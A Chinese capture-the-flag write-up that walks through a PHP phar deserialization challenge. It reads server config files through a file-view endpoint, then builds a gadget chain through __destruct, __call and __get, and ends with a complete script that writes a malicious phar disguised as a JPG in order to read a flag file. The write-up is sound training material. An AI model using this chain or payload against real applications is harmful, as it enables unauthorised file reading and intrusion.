赛博杯 - Web3
phar反序列化
Kevin给的一道题
首先是一个上传界面,只能上传图片类型的文件
然后有一个浏览界面,/file.php?file=
,疑似file
参数中不带/
都会被爆hacker!
尝试读取敏感文件
可以读取
依次读取/etc/init.d/apache2
/etc/apache2/ports.conf
/etc/apache2/sites-enabled/000-default.conf
找到网站根目录/var/www/005056364de1
题目环境:https://hikawa.ml/CTF/Web3.zip
首先分析一下他对我们上传的文件干了啥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(!empty($extension)) { if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
只能上传这四种后缀的文件
1 2 3 4 5 6 7 8 9 10 11 12
| function upload_file_do() { if(!file_exists("upload")){ mkdir("upload",0777); } global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["HTTP_X_REAL_IP"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!文件保存在: upload/'.$filename.'");</script>'; }
|
重命名上传文件并保存在upload
文件夹
看起来没什么问题,然后看看读文件的php
1 2 3 4 5 6 7 8 9
| $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; }elseif(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) { die('hacker!'); }elseif(!preg_match('/\//i',$file)) { die('hacker!'); }
|
file
参数必须包含/
且不能有f1ag
看来利用点也不在这里
不过百度了一番这段关键代码之后发现了一道类似的
https://xz.aliyun.com/t/3656#toc-14
考点:phar反序列化
然后开始尝试构造poc链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php class Show { public $source; public $str; public function __toString() { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); }
} public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class S6ow { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->params[$key]; } public function __call($name, $arguments) { if($this->{$name}) $this->{$this->{$name}}($arguments); } public function file_get() { echo $this->file; } }
class Sh0w { public $str; public function __construct($name) { $this->str = new Show(); $this->str->source = $name; } public function __destruct() { $this->str->_show(); } }
|
首先看到能输出结果的只有两个地方
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Show { public $source; public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); }
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class Show { public $source; public function __toString() { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } } class S6ow { public $file; public function file_get() { echo $this->file; } }
|
由于第一个过滤了f1ag
应该是不能用的考虑第二个
到这里已经知道可以
$Show->source = ‘/var/www/005056364de1/f1ag.php’
$S6ow->file = $Show
然后想办法调用file_get
参考 https://mp.weixin.qq.com/s/6w9cW4k1m9SjEHyfP_maSg
注意到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class S6ow { public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->params[$key]; } public function __call($name, $arguments) { if($this->{$name}) $this->{$this->{$name}}($arguments); } }
|
__call
可以在调用类中不存在的函数时触发
__get
可以在调用类中不存在的属性时触发
然后又有
1 2 3 4 5 6 7 8
| class Sh0w { public $str; public function __destruct() { $this->str->_show(); } }
|
这里调用的_show
是类S6ow
没有的,所以可以构造poc链触发__call
$Sh0w->str = $S6ow
然后由于__call
中使用了$this->{$name}
,即调用了一个不存在的属性,这样传进去会触发__get
,正好可以利用来换_show
为file_get
$S6ow->params = array(‘_show’=>’file_get’)
至此就和之前的poc链接在一起了,最后就是生成phar,完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class Show { public $source; } class S6ow { public $file; public $params; }
class Sh0w { public $str; public $name; }
$Sho = new Show(); $Sho->source = '/var/www/005056364de1/f1ag.php';
$S6o = new S6ow(); $S6o->file = $Sho; $S6o->params = array('_show'=>'file_get');
$Sh0 = new Sh0w('233'); $Sh0->str = $S6o;
$phar = new Phar('4k1Ra.phar'); $phar->startBuffering(); $phar->addFromString('233.jpg', '233'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($Sh0); $phar->stopBuffering();
|
改成jpg后缀,上传后用phar://
协议访问得到flag